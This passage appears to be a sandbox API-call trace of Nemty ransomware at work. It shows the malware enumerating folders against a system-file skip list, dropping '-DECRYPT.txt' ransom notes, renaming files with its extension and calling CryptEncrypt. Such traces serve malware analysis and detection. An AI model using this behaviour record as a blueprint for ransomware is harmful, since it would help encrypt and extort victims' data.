lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.922] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0123.922] CloseHandle (hObject=0xffffffff) returned 0 [0123.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0123.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0123.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0123.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0123.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml._nemty_kgobjgd_")) returned 0 [0123.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0123.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0123.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0123.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0123.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0123.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0123.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0123.923] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="js", cAlternateFileName="")) returned 1 [0123.923] lstrcmpiW (lpString1="js", lpString2=".") returned 1 [0123.923] lstrcmpiW (lpString1="js", lpString2="..") returned 1 [0123.923] lstrcmpiW (lpString1="js", lpString2="...") returned 1 [0123.923] lstrcmpiW (lpString1="js", lpString2="windows") returned -1 [0123.923] lstrcmpiW (lpString1="js", lpString2="$RECYCLE.BIN") returned 1 [0123.923] lstrcmpiW (lpString1="js", lpString2="rsa") returned -1 [0123.923] lstrcmpiW (lpString1="js", lpString2="NTDETECT.COM") returned -1 [0123.923] lstrcmpiW (lpString1="js", lpString2="ntldr") returned -1 [0123.923] lstrcmpiW (lpString1="js", lpString2="MSDOS.SYS") returned -1 [0123.923] lstrcmpiW (lpString1="js", lpString2="IO.SYS") returned 1 [0123.923] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0123.923] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0123.923] lstrcmpiW (lpString1="js", lpString2="AUTOEXEC.BAT") returned 1 [0123.923] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1 [0123.923] lstrcmpiW (lpString1="js", lpString2="desktop.ini") returned 1 [0123.923] lstrcmpiW (lpString1="js", lpString2="CONFIG.SYS") returned 1 [0123.923] lstrcmpiW (lpString1="js", lpString2="RECYCLER") returned -1 [0123.923] lstrcmpiW (lpString1="js", lpString2="BOOTSECT.BAK") returned 1 [0123.923] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1 [0123.923] lstrcmpiW (lpString1="js", lpString2="programdata") returned -1 [0123.923] lstrcmpiW (lpString1="js", lpString2="appdata") returned 1 [0123.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0123.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0123.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0123.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0123.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401e0 [0123.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0123.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340268 [0123.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0123.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63402f0 [0123.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340398 [0123.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f0 | out: hHeap=0x4f90000) returned 1 [0123.924] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0123.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340398 | out: hHeap=0x4f90000) returned 1 [0123.925] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.925] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0123.926] CloseHandle (hObject=0x254) returned 1 [0123.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0123.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0123.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340268 [0123.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63402f0 [0123.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340378 [0123.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0123.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340400 [0123.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63404a8 [0123.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0123.926] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0123.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0123.927] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.927] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0123.928] CloseHandle (hObject=0x254) returned 1 [0123.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0123.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340378 | out: hHeap=0x4f90000) returned 1 [0123.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0123.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfd82efb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd82efb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0123.928] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0123.928] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfd82efb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd82efb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0123.929] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0123.929] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0123.929] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="cpu.js", cAlternateFileName="")) returned 1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2=".") returned 1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="..") returned 1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="...") returned 1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="windows") returned -1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="$RECYCLE.BIN") returned 1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="rsa") returned -1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="NTDETECT.COM") returned -1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="ntldr") returned -1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="MSDOS.SYS") returned -1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="IO.SYS") returned -1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="boot.ini") returned 1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="boot.ini") returned 1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="AUTOEXEC.BAT") returned 1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="ntuser.dat") returned -1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="desktop.ini") returned -1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="CONFIG.SYS") returned 1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="RECYCLER") returned -1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="BOOTSECT.BAK") returned 1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="bootmgr") returned 1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="programdata") returned -1 [0123.929] lstrcmpiW (lpString1="cpu.js", lpString2="appdata") returned 1 [0123.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.js", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0123.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.js", cchWideChar=6, lpMultiByteStr=0x653e890, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cpu.js", lpUsedDefaultChar=0x0) returned 6 [0123.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.js", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0123.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.js", cchWideChar=6, lpMultiByteStr=0x653e890, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cpu.js", lpUsedDefaultChar=0x0) returned 6 [0123.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.js", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0123.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.js", cchWideChar=6, lpMultiByteStr=0x653e8e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cpu.js", lpUsedDefaultChar=0x0) returned 6 [0123.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.js", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0123.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.js", cchWideChar=6, lpMultiByteStr=0x653e918, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cpu.js", lpUsedDefaultChar=0x0) returned 6 [0123.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0123.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0123.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0123.930] Sleep (dwMilliseconds=0x5) [0123.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xfd855110, dwHighDateTime=0x1d561e7)) [0123.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xfd855110, dwHighDateTime=0x1d561e7)) [0123.940] GetLastError () returned 0xb7 [0123.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.940] GetLastError () returned 0xb7 [0123.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0123.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0123.940] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0123.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340378 [0123.940] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340378, pcchString=0x653e5dc | out: pszString="U8nWK3LCPRrhksBS3ez8BZFR15C8lfozKPKjjlS7u3URr12Y/6sq4m8bsGpe8d19\r\n18HrJMNxOG0O9l48B2nRHGEBpByULQoq2mM2LsjOV9m6JxGa60o02/dBd7T+jAKv\r\n8HMCO9cjUX+XxgKlr9AZ5Lpcijtfm6dfWIKP0h60vhVv1fmfkgQRoXCBJwz2fUYe\r\nc5UV+CaWYYSn+MtVORAJTQVWxLcbnobhXz6CUXZyELLiwUXSv4MO/BdyFYGimCKx\r\nKIZTDBc7k469AFWz6iaCEeLxXyqrGdV/q4qRT4ksqYZK1u1XGAqm+b4Woa+8dK/c\r\nOacUysepTjLZ6m19U++nNQ==\r\n", pcchString=0x653e5dc) returned 1 [0123.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0123.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340378 | out: hHeap=0x4f90000) returned 1 [0123.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0123.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340378 [0123.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0123.940] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\cpu.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js\\cpu.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0123.941] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0123.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0123.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.988] ReadFile (in: hFile=0xffffffff, 